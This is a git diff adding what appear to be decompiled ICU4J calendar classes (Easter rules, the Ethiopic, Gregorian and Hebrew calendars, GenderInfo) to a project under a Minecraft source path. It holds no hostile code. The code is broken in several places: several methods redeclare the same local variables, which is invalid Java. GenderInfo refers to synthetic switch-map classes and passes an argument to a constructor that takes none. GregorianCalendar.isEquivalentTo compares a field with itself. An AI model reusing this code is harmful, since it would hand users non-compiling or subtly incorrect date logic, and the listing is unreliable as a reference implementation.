+  public static final EasterHoliday ASH_WEDNESDAY = new EasterHoliday(-47, "Ash Wednesday");
+  
+
+
+
+
+
+  public static final EasterHoliday PALM_SUNDAY = new EasterHoliday(-7, "Palm Sunday");
+  
+
+
+
+
+
+  public static final EasterHoliday MAUNDY_THURSDAY = new EasterHoliday(-3, "Maundy Thursday");
+  
+
+
+
+
+
+  public static final EasterHoliday GOOD_FRIDAY = new EasterHoliday(-2, "Good Friday");
+  
+
+
+
+
+
+  public static final EasterHoliday EASTER_SUNDAY = new EasterHoliday(0, "Easter Sunday");
+  
+
+
+
+
+
+  public static final EasterHoliday EASTER_MONDAY = new EasterHoliday(1, "Easter Monday");
+  
+
+
+
+
+
+  public static final EasterHoliday ASCENSION = new EasterHoliday(39, "Ascension");
+  
+
+
+
+
+
+  public static final EasterHoliday PENTECOST = new EasterHoliday(49, "Pentecost");
+  
+
+
+
+
+
+  public static final EasterHoliday WHIT_SUNDAY = new EasterHoliday(49, "Whit Sunday");
+  
+
+
+
+
+
+  public static final EasterHoliday WHIT_MONDAY = new EasterHoliday(50, "Whit Monday");
+  
+
+
+
+
+
+  public static final EasterHoliday CORPUS_CHRISTI = new EasterHoliday(60, "Corpus Christi");
+}
diff --git a/src/minecraft/com/ibm/icu/util/EasterRule.java b/src/minecraft/com/ibm/icu/util/EasterRule.java
new file mode 100644
index 0000000..a1a95fa
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/EasterRule.java
@@ -0,0 +1,290 @@
+package com.ibm.icu.util;
+
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class EasterRule
+  implements DateRule
+{
+  public EasterRule(int daysAfterEaster, boolean isOrthodox)
+  {
+    this.daysAfterEaster = daysAfterEaster;
+    if (isOrthodox) {
+      orthodox.setGregorianChange(new Date(Long.MAX_VALUE));
+      calendar = orthodox;
+    }
+  }
+  
+
+
+
+  public Date firstAfter(Date start)
+  {
+    return doFirstBetween(start, null);
+  }
+  
+
+
+
+
+  public Date firstBetween(Date start, Date end)
+  {
+    return doFirstBetween(start, end);
+  }
+  
+
+
+
+  public boolean isOn(Date date)
+  {
+    synchronized (calendar) {
+      calendar.setTime(date);
+      int dayOfYear = calendar.get(6);
+      
+      calendar.setTime(computeInYear(calendar.getTime(), calendar));
+      
+      return calendar.get(6) == dayOfYear;
+    }
+  }
+  
+
+
+
+  public boolean isBetween(Date start, Date end)
+  {
+    return firstBetween(start, end) != null;
+  }
+  
+
+
+
+  private Date doFirstBetween(Date start, Date end)
+  {
+    synchronized (calendar)
+    {
+      Date result = computeInYear(start, calendar);
+      
+
+
+
+
+      if (result.before(start))
+      {
+        calendar.setTime(start);
+        calendar.get(1);
+        calendar.add(1, 1);
+        
+
+
+
+        result = computeInYear(calendar.getTime(), calendar);
+      }
+      
+
+      if ((end != null) && (result.after(end)))
+      {
+        return null;
+      }
+      return result;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  private Date computeInYear(Date date, GregorianCalendar cal)
+  {
+    if (cal == null) { cal = calendar;
+    }
+    synchronized (cal) {
+      cal.setTime(date);
+      
+      int year = cal.get(1);
+      int g = year % 19;
+      int i = 0;
+      int j = 0;
+      
+      if (cal.getTime().after(cal.getGregorianChange()))
+      {
+
+        int c = year / 100;
+        int h = (c - c / 4 - (8 * c + 13) / 25 + 19 * g + 15) % 30;
+        i = h - h / 28 * (1 - h / 28 * (29 / (h + 1)) * ((21 - g) / 11));
+        j = (year + year / 4 + i + 2 - c + c / 4) % 7;
+
+      }
+      else
+      {
+        i = (19 * g + 15) % 30;
+        j = (year + year / 4 + i) % 7;
+      }
+      int l = i - j;
+      int m = 3 + (l + 40) / 44;
+      int d = l + 28 - 31 * (m / 4);
+      
+      cal.clear();
+      cal.set(0, 1);
+      cal.set(1, year);
+      cal.set(2, m - 1);
+      cal.set(5, d);
+      cal.getTime();
+      cal.add(5, daysAfterEaster);
+      
+      return cal.getTime();
+    }
+  }
+  
+  private static GregorianCalendar gregorian = new GregorianCalendar();
+  private static GregorianCalendar orthodox = new GregorianCalendar();
+  
+  private int daysAfterEaster;
+  private GregorianCalendar calendar = gregorian;
+}
diff --git a/src/minecraft/com/ibm/icu/util/EthiopicCalendar.java b/src/minecraft/com/ibm/icu/util/EthiopicCalendar.java
new file mode 100644
index 0000000..8436079
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/EthiopicCalendar.java
@@ -0,0 +1,387 @@
+package com.ibm.icu.util;
+
+import java.util.Date;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class EthiopicCalendar
+  extends CECalendar
+{
+  private static final long serialVersionUID = -2438495771339315608L;
+  public static final int MESKEREM = 0;
+  public static final int TEKEMT = 1;
+  public static final int HEDAR = 2;
+  public static final int TAHSAS = 3;
+  public static final int TER = 4;
+  public static final int YEKATIT = 5;
+  public static final int MEGABIT = 6;
+  public static final int MIAZIA = 7;
+  public static final int GENBOT = 8;
+  public static final int SENE = 9;
+  public static final int HAMLE = 10;
+  public static final int NEHASSE = 11;
+  public static final int PAGUMEN = 12;
+  private static final int JD_EPOCH_OFFSET_AMETE_MIHRET = 1723856;
+  private static final int AMETE_MIHRET_DELTA = 5500;
+  private static final int AMETE_ALEM = 0;
+  private static final int AMETE_MIHRET = 1;
+  private static final int AMETE_MIHRET_ERA = 0;
+  private static final int AMETE_ALEM_ERA = 1;
+  private int eraType = 0;
+  
+
+
+
+
+
+
+
+  public EthiopicCalendar() {}
+  
+
+
+
+
+
+
+  public EthiopicCalendar(TimeZone zone)
+  {
+    super(zone);
+  }
+  
+
+
+
+
+
+
+  public EthiopicCalendar(Locale aLocale)
+  {
+    super(aLocale);
+  }
+  
+
+
+
+
+
+
+  public EthiopicCalendar(ULocale locale)
+  {
+    super(locale);
+  }
+  
+
+
+
+
+
+
+
+  public EthiopicCalendar(TimeZone zone, Locale aLocale)
+  {
+    super(zone, aLocale);
+  }
+  
+
+
+
+
+
+
+
+  public EthiopicCalendar(TimeZone zone, ULocale locale)
+  {
+    super(zone, locale);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public EthiopicCalendar(int year, int month, int date)
+  {
+    super(year, month, date);
+  }
+  
+
+
+
+
+
+
+  public EthiopicCalendar(Date date)
+  {
+    super(date);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public EthiopicCalendar(int year, int month, int date, int hour, int minute, int second)
+  {
+    super(year, month, date, hour, minute, second);
+  }
+  
+
+
+
+  public String getType()
+  {
+    if (isAmeteAlemEra()) {
+      return "ethiopic-amete-alem";
+    }
+    return "ethiopic";
+  }
+  
+
+
+
+
+
+  public void setAmeteAlemEra(boolean onOff)
+  {
+    eraType = (onOff ? 1 : 0);
+  }
+  
+
+
+
+
+
+  public boolean isAmeteAlemEra()
+  {
+    return eraType == 1;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected int handleGetExtendedYear()
+  {
+    int eyear;
+    
+    int eyear;
+    if (newerField(19, 1) == 19) {
+      eyear = internalGet(19, 1); } else { int eyear;
+      if (isAmeteAlemEra()) {
+        eyear = internalGet(1, 5501) - 5500;
+      }
+      else
+      {
+        int era = internalGet(0, 1);
+        int eyear; if (era == 1) {
+          eyear = internalGet(1, 1);
+        } else
+          eyear = internalGet(1, 1) - 5500;
+      }
+    }
+    return eyear;
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  protected void handleComputeFields(int julianDay)
+  {
+    int[] fields = new int[3];
+    jdToCE(julianDay, getJDEpochOffset(), fields);
+    
+    int year;
+    
+    int era;
+    int year;
+    if (isAmeteAlemEra()) {
+      int era = 0;
+      year = fields[0] + 5500;
+    } else { int year;
+      if (fields[0] > 0) {
+        int era = 1;
+        year = fields[0];
+      } else {
+        era = 0;
+        year = fields[0] + 5500;
+      }
+    }
+    
+    internalSet(19, fields[0]);
+    internalSet(0, era);
+    internalSet(1, year);
+    internalSet(2, fields[1]);
+    internalSet(5, fields[2]);
+    internalSet(6, 30 * fields[1] + fields[2]);
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected int handleGetLimit(int field, int limitType)
+  {
+    if ((isAmeteAlemEra()) && (field == 0)) {
+      return 0;
+    }
+    return super.handleGetLimit(field, limitType);
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected int getJDEpochOffset()
+  {
+    return 1723856;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int EthiopicToJD(long year, int month, int date)
+  {
+    return ceToJD(year, month, date, 1723856);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/Freezable.java b/src/minecraft/com/ibm/icu/util/Freezable.java
new file mode 100644
index 0000000..ec9269b
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/Freezable.java
@@ -0,0 +1,11 @@
+package com.ibm.icu.util;
+
+public abstract interface Freezable<T>
+  extends Cloneable
+{
+  public abstract boolean isFrozen();
+  
+  public abstract T freeze();
+  
+  public abstract T cloneAsThawed();
+}
diff --git a/src/minecraft/com/ibm/icu/util/GenderInfo.java b/src/minecraft/com/ibm/icu/util/GenderInfo.java
new file mode 100644
index 0000000..698b1de
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/GenderInfo.java
@@ -0,0 +1,211 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.ICUCache;
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.SimpleCache;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+import java.util.MissingResourceException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class GenderInfo
+{
+  private final ListGenderStyle style;
+  
+  public static enum Gender
+  {
+    MALE,  FEMALE,  OTHER;
+    
+
+    private Gender() {}
+  }
+  
+  public static GenderInfo getInstance(ULocale uLocale)
+  {
+    return genderInfoCache.get(uLocale);
+  }
+  
+
+
+
+
+  public static GenderInfo getInstance(Locale locale)
+  {
+    return getInstance(ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static enum ListGenderStyle
+  {
+    NEUTRAL, 
+    
+
+
+
+
+
+    MIXED_NEUTRAL, 
+    
+
+
+
+
+
+    MALE_TAINTS;
+    
+    static { fromNameMap = new HashMap(3);
+      
+
+
+      fromNameMap.put("neutral", NEUTRAL);
+      fromNameMap.put("maleTaints", MALE_TAINTS);
+      fromNameMap.put("mixedNeutral", MIXED_NEUTRAL);
+    }
+    
+
+
+    public static ListGenderStyle fromName(String name)
+    {
+      ListGenderStyle result = (ListGenderStyle)fromNameMap.get(name);
+      if (result == null) {
+        throw new IllegalArgumentException("Unknown gender style name: " + name);
+      }
+      return result;
+    }
+    
+
+    private static Map<String, ListGenderStyle> fromNameMap;
+    
+    private ListGenderStyle() {}
+  }
+  
+  public Gender getListGender(Gender... genders)
+  {
+    return getListGender(Arrays.asList(genders));
+  }
+  
+
+
+
+
+
+  public Gender getListGender(List<Gender> genders)
+  {
+    if (genders.size() == 0) {
+      return Gender.OTHER;
+    }
+    if (genders.size() == 1) {
+      return (Gender)genders.get(0);
+    }
+    switch (1.$SwitchMap$com$ibm$icu$util$GenderInfo$ListGenderStyle[style.ordinal()]) {
+    case 1: 
+      return Gender.OTHER;
+    case 2: 
+      boolean hasFemale = false;
+      boolean hasMale = false;
+      for (Gender gender : genders) {
+        switch (1.$SwitchMap$com$ibm$icu$util$GenderInfo$Gender[gender.ordinal()]) {
+        case 1: 
+          if (hasMale) {
+            return Gender.OTHER;
+          }
+          hasFemale = true;
+          break;
+        case 2: 
+          if (hasFemale) {
+            return Gender.OTHER;
+          }
+          hasMale = true;
+          break;
+        case 3: 
+          return Gender.OTHER;
+        }
+      }
+      return hasMale ? Gender.MALE : Gender.FEMALE;
+    
+    case 3: 
+      for (Gender gender : genders) {
+        if (gender != Gender.FEMALE) {
+          return Gender.MALE;
+        }
+      }
+      return Gender.FEMALE;
+    }
+    return Gender.OTHER;
+  }
+  
+
+
+
+
+
+  public GenderInfo(ListGenderStyle genderStyle)
+  {
+    style = genderStyle;
+  }
+  
+  private static GenderInfo neutral = new GenderInfo(ListGenderStyle.NEUTRAL);
+  
+  private static class Cache {
+    private final ICUCache<ULocale, GenderInfo> cache = new SimpleCache();
+    
+    private Cache() {}
+    
+    public GenderInfo get(ULocale locale) { GenderInfo result = (GenderInfo)cache.get(locale);
+      if (result == null) {
+        result = load(locale);
+        if (result == null) {
+          ULocale fallback = locale.getFallback();
+          
+
+
+
+          result = fallback == null ? GenderInfo.neutral : get(fallback);
+        }
+        cache.put(locale, result);
+      }
+      return result;
+    }
+    
+    private static GenderInfo load(ULocale ulocale) {
+      UResourceBundle rb = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "genderList", ICUResourceBundle.ICU_DATA_CLASS_LOADER, true);
+      
+
+
+      UResourceBundle genderList = rb.get("genderList");
+      try {
+        return new GenderInfo(GenderInfo.ListGenderStyle.fromName(genderList.getString(ulocale.toString())));
+      }
+      catch (MissingResourceException mre) {}
+      return null;
+    }
+  }
+  
+
+  private static Cache genderInfoCache = new Cache(null);
+}
diff --git a/src/minecraft/com/ibm/icu/util/GregorianCalendar.java b/src/minecraft/com/ibm/icu/util/GregorianCalendar.java
new file mode 100644
index 0000000..8f6525c
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/GregorianCalendar.java
@@ -0,0 +1,893 @@
+package com.ibm.icu.util;
+
+import java.util.Date;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class GregorianCalendar
+  extends Calendar
+{
+  private static final long serialVersionUID = 9199388694351062137L;
+  public static final int BC = 0;
+  public static final int AD = 1;
+  private static final int EPOCH_YEAR = 1970;
+  private static final int[][] MONTH_COUNT = { { 31, 31, 0, 0 }, { 28, 29, 31, 31 }, { 31, 31, 59, 60 }, { 30, 30, 90, 91 }, { 31, 31, 120, 121 }, { 30, 30, 151, 152 }, { 31, 31, 181, 182 }, { 31, 31, 212, 213 }, { 30, 30, 243, 244 }, { 31, 31, 273, 274 }, { 30, 30, 304, 305 }, { 31, 31, 334, 335 } };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final int[][] LIMITS = { { 0, 0, 1, 1 }, { 1, 1, 5828963, 5838270 }, { 0, 0, 11, 11 }, { 1, 1, 52, 53 }, new int[0], { 1, 1, 28, 31 }, { 1, 1, 365, 366 }, new int[0], { -1, -1, 4, 5 }, new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], { -5838270, -5838270, 5828964, 5838271 }, new int[0], { -5838269, -5838269, 5828963, 5838270 }, new int[0], new int[0] };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int handleGetLimit(int field, int limitType)
+  {
+    return LIMITS[field][limitType];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private long gregorianCutover = -12219292800000L;
+  
+
+
+
+  private transient int cutoverJulianDay = 2299161;
+  
+
+
+
+
+  private transient int gregorianCutoverYear = 1582;
+  
+
+
+
+
+
+
+  protected transient boolean isGregorian;
+  
+
+
+
+
+
+  protected transient boolean invertGregorian;
+  
+
+
+
+
+
+
+  public GregorianCalendar()
+  {
+    this(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+  public GregorianCalendar(TimeZone zone)
+  {
+    this(zone, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+  public GregorianCalendar(Locale aLocale)
+  {
+    this(TimeZone.getDefault(), aLocale);
+  }
+  
+
+
+
+
+
+  public GregorianCalendar(ULocale locale)
+  {
+    this(TimeZone.getDefault(), locale);
+  }
+  
+
+
+
+
+
+
+  public GregorianCalendar(TimeZone zone, Locale aLocale)
+  {
+    super(zone, aLocale);
+    setTimeInMillis(System.currentTimeMillis());
+  }
+  
+
+
+
+
+
+
+  public GregorianCalendar(TimeZone zone, ULocale locale)
+  {
+    super(zone, locale);
+    setTimeInMillis(System.currentTimeMillis());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public GregorianCalendar(int year, int month, int date)
+  {
+    super(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+    set(0, 1);
+    set(1, year);
+    set(2, month);
+    set(5, date);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public GregorianCalendar(int year, int month, int date, int hour, int minute)
+  {
+    super(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+    set(0, 1);
+    set(1, year);
+    set(2, month);
+    set(5, date);
+    set(11, hour);
+    set(12, minute);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public GregorianCalendar(int year, int month, int date, int hour, int minute, int second)
+  {
+    super(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+    set(0, 1);
+    set(1, year);
+    set(2, month);
+    set(5, date);
+    set(11, hour);
+    set(12, minute);
+    set(13, second);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setGregorianChange(Date date)
+  {
+    gregorianCutover = date.getTime();
+    
+
+
+
+    if (gregorianCutover <= -184303902528000000L) {
+      gregorianCutoverYear = (this.cutoverJulianDay = Integer.MIN_VALUE);
+    } else if (gregorianCutover >= 183882168921600000L) {
+      gregorianCutoverYear = (this.cutoverJulianDay = Integer.MAX_VALUE);
+
+    }
+    else
+    {
+      cutoverJulianDay = ((int)floorDivide(gregorianCutover, 86400000L));
+      
+
+      GregorianCalendar cal = new GregorianCalendar(getTimeZone());
+      cal.setTime(date);
+      gregorianCutoverYear = cal.get(19);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final Date getGregorianChange()
+  {
+    return new Date(gregorianCutover);
+  }
+  
+
+
+
+
+
+
+  public boolean isLeapYear(int year)
+  {
+    return (year % 4 == 0) && ((year % 100 != 0) || (year % 400 == 0));
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean isEquivalentTo(Calendar other)
+  {
+    return (super.isEquivalentTo(other)) && (gregorianCutover == gregorianCutover);
+  }
+  
+
+
+
+
+
+  public int hashCode()
+  {
+    return super.hashCode() ^ (int)gregorianCutover;
+  }
+  
+
+
+
+
+  public void roll(int field, int amount)
+  {
+    switch (field)
+    {
+
+
+
+
+
+
+
+    case 3: 
+      int woy = get(3);
+      
+
+      int isoYear = get(17);
+      int isoDoy = internalGet(6);
+      if (internalGet(2) == 0) {
+        if (woy >= 52) {
+          isoDoy += handleGetYearLength(isoYear);
+        }
+      }
+      else if (woy == 1) {
+        isoDoy -= handleGetYearLength(isoYear - 1);
+      }
+      
+      woy += amount;
+      
+      if ((woy < 1) || (woy > 52))
+      {
+
+
+
+
+
+        int lastDoy = handleGetYearLength(isoYear);
+        int lastRelDow = (lastDoy - isoDoy + internalGet(7) - getFirstDayOfWeek()) % 7;
+        
+        if (lastRelDow < 0) lastRelDow += 7;
+        if (6 - lastRelDow >= getMinimalDaysInFirstWeek()) lastDoy -= 7;
+        int lastWoy = weekNumber(lastDoy, lastRelDow + 1);
+        woy = (woy + lastWoy - 1) % lastWoy + 1;
+      }
+      set(3, woy);
+      set(1, isoYear);
+      return;
+    }
+    
+    
+    super.roll(field, amount);
+  }
+  
+
+
+
+
+
+
+  public int getActualMinimum(int field)
+  {
+    return getMinimum(field);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getActualMaximum(int field)
+  {
+    switch (field)
+    {
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    case 1: 
+      Calendar cal = (Calendar)clone();
+      cal.setLenient(true);
+      
+      int era = cal.get(0);
+      Date d = cal.getTime();
+      
+
+
+
+      int lowGood = LIMITS[1][1];
+      int highBad = LIMITS[1][2] + 1;
+      while (lowGood + 1 < highBad) {
+        int y = (lowGood + highBad) / 2;
+        cal.set(1, y);
+        if ((cal.get(1) == y) && (cal.get(0) == era)) {
+          lowGood = y;
+        } else {
+          highBad = y;
+          cal.setTime(d);
+        }
+      }
+      
+      return lowGood;
+    }
+    
+    
+    return super.getActualMaximum(field);
+  }
+  
+
+
+
+
+
+
+
+
+  boolean inDaylightTime()
+  {
+    if (!getTimeZone().useDaylightTime()) return false;
+    complete();
+    return internalGet(16) != 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int handleGetMonthLength(int extendedYear, int month)
+  {
+    if ((month < 0) || (month > 11)) {
+      int[] rem = new int[1];
+      extendedYear += floorDivide(month, 12, rem);
+      month = rem[0];
+    }
+    
+    return MONTH_COUNT[month][0];
+  }
+  
+
+
+  protected int handleGetYearLength(int eyear)
+  {
+    return isLeapYear(eyear) ? 366 : 365;
+  }
+  
+
+
+  protected void handleComputeFields(int julianDay)
+  {
+    int eyear;
+    
+
+    int eyear;
+    
+
+    int dayOfYear;
+    
+
+    int month;
+    
+
+    int dayOfMonth;
+    
+
+    if (julianDay >= cutoverJulianDay) {
+      int month = getGregorianMonth();
+      int dayOfMonth = getGregorianDayOfMonth();
+      int dayOfYear = getGregorianDayOfYear();
+      eyear = getGregorianYear();
+    }
+    else
+    {
+      long julianEpochDay = julianDay - 1721424;
+      eyear = (int)floorDivide(4L * julianEpochDay + 1464L, 1461L);
+      
+
+      long january1 = 365 * (eyear - 1) + floorDivide(eyear - 1, 4);
+      dayOfYear = (int)(julianEpochDay - january1);
+      
+
+
+
+
+
+
+      boolean isLeap = (eyear & 0x3) == 0;
+      
+
+      int correction = 0;
+      int march1 = isLeap ? 60 : 59;
+      if (dayOfYear >= march1) {
+        correction = isLeap ? 1 : 2;
+      }
+      month = (12 * (dayOfYear + correction) + 6) / 367;
+      dayOfMonth = dayOfYear - MONTH_COUNT[month][2] + 1;
+      dayOfYear++;
+    }
+    internalSet(2, month);
+    internalSet(5, dayOfMonth);
+    internalSet(6, dayOfYear);
+    internalSet(19, eyear);
+    int era = 1;
+    if (eyear < 1) {
+      era = 0;
+      eyear = 1 - eyear;
+    }
+    internalSet(0, era);
+    internalSet(1, eyear);
+  }
+  
+
+
+  protected int handleGetExtendedYear()
+  {
+    int year;
+    
+
+    int year;
+    
+    if (newerField(19, 1) == 19) {
+      year = internalGet(19, 1970);
+    }
+    else {
+      int era = internalGet(0, 1);
+      int year; if (era == 0) {
+        year = 1 - internalGet(1, 1);
+      } else {
+        year = internalGet(1, 1970);
+      }
+    }
+    return year;
+  }
+  
+
+
+
+  protected int handleComputeJulianDay(int bestField)
+  {
+    invertGregorian = false;
+    
+    int jd = super.handleComputeJulianDay(bestField);
+    
+
+
+    if (isGregorian != jd >= cutoverJulianDay) {
+      invertGregorian = true;
+      jd = super.handleComputeJulianDay(bestField);
+    }
+    
+    return jd;
+  }
+  
+
+
+
+
+
+
+  protected int handleComputeMonthStart(int eyear, int month, boolean useMonth)
+  {
+    if ((month < 0) || (month > 11)) {
+      int[] rem = new int[1];
+      eyear += floorDivide(month, 12, rem);
+      month = rem[0];
+    }
+    
+    boolean isLeap = eyear % 4 == 0;
+    int y = eyear - 1;
+    int julianDay = 365 * y + floorDivide(y, 4) + 1721423;
+    
+    isGregorian = (eyear >= gregorianCutoverYear);
+    if (invertGregorian) {
+      isGregorian = (!isGregorian);
+    }
+    if (isGregorian) {
+      isLeap = (isLeap) && ((eyear % 100 != 0) || (eyear % 400 == 0));
+      
+
+      julianDay += floorDivide(y, 400) - floorDivide(y, 100) + 2;
+    }
+    
+
+
+
+
+    if (month != 0) {
+      julianDay += MONTH_COUNT[month][2];
+    }
+    
+    return julianDay;
+  }
+  
+
+
+
+  public String getType()
+  {
+    return "gregorian";
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/HebrewCalendar.java b/src/minecraft/com/ibm/icu/util/HebrewCalendar.java
new file mode 100644
index 0000000..f018032
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/HebrewCalendar.java
@@ -0,0 +1,864 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.CalendarCache;
+import java.util.Date;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HebrewCalendar
+  extends Calendar
+{
+  private static final long serialVersionUID = -1952524560588825816L;
+  public static final int TISHRI = 0;
+  public static final int HESHVAN = 1;
+  public static final int KISLEV = 2;
+  public static final int TEVET = 3;
+  public static final int SHEVAT = 4;
+  public static final int ADAR_1 = 5;
+  public static final int ADAR = 6;
+  public static final int NISAN = 7;
+  public static final int IYAR = 8;
+  public static final int SIVAN = 9;
+  public static final int TAMUZ = 10;
+  public static final int AV = 11;
+  public static final int ELUL = 12;
+  private static final int[][] LIMITS = { { 0, 0, 0, 0 }, { -5000000, -5000000, 5000000, 5000000 }, { 0, 0, 12, 12 }, { 1, 1, 51, 56 }, new int[0], { 1, 1, 29, 30 }, { 1, 1, 353, 385 }, new int[0], { -1, -1, 5, 5 }, new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], { -5000000, -5000000, 5000000, 5000000 }, new int[0], { -5000000, -5000000, 5000000, 5000000 }, new int[0], new int[0] };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final int[][] MONTH_LENGTH = { { 30, 30, 30 }, { 29, 29, 30 }, { 29, 30, 30 }, { 29, 29, 29 }, { 30, 30, 30 }, { 30, 30, 30 }, { 29, 29, 29 }, { 30, 30, 30 }, { 29, 29, 29 }, { 30, 30, 30 }, { 29, 29, 29 }, { 30, 30, 30 }, { 29, 29, 29 } };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final int[][] MONTH_START = { { 0, 0, 0 }, { 30, 30, 30 }, { 59, 59, 60 }, { 88, 89, 90 }, { 117, 118, 119 }, { 147, 148, 149 }, { 147, 148, 149 }, { 176, 177, 178 }, { 206, 207, 208 }, { 235, 236, 237 }, { 265, 266, 267 }, { 294, 295, 296 }, { 324, 325, 326 }, { 353, 354, 355 } };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final int[][] LEAP_MONTH_START = { { 0, 0, 0 }, { 30, 30, 30 }, { 59, 59, 60 }, { 88, 89, 90 }, { 117, 118, 119 }, { 147, 148, 149 }, { 177, 178, 179 }, { 206, 207, 208 }, { 236, 237, 238 }, { 265, 266, 267 }, { 295, 296, 297 }, { 324, 325, 326 }, { 354, 355, 356 }, { 383, 384, 385 } };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static CalendarCache cache = new CalendarCache();
+  
+  private static final long HOUR_PARTS = 1080L;
+  
+  private static final long DAY_PARTS = 25920L;
+  
+  private static final int MONTH_DAYS = 29;
+  private static final long MONTH_FRACT = 13753L;
+  private static final long MONTH_PARTS = 765433L;
+  private static final long BAHARAD = 12084L;
+  
+  public HebrewCalendar()
+  {
+    this(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+
+  public HebrewCalendar(TimeZone zone)
+  {
+    this(zone, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+  public HebrewCalendar(Locale aLocale)
+  {
+    this(TimeZone.getDefault(), aLocale);
+  }
+  
+
+
+
+
+
+
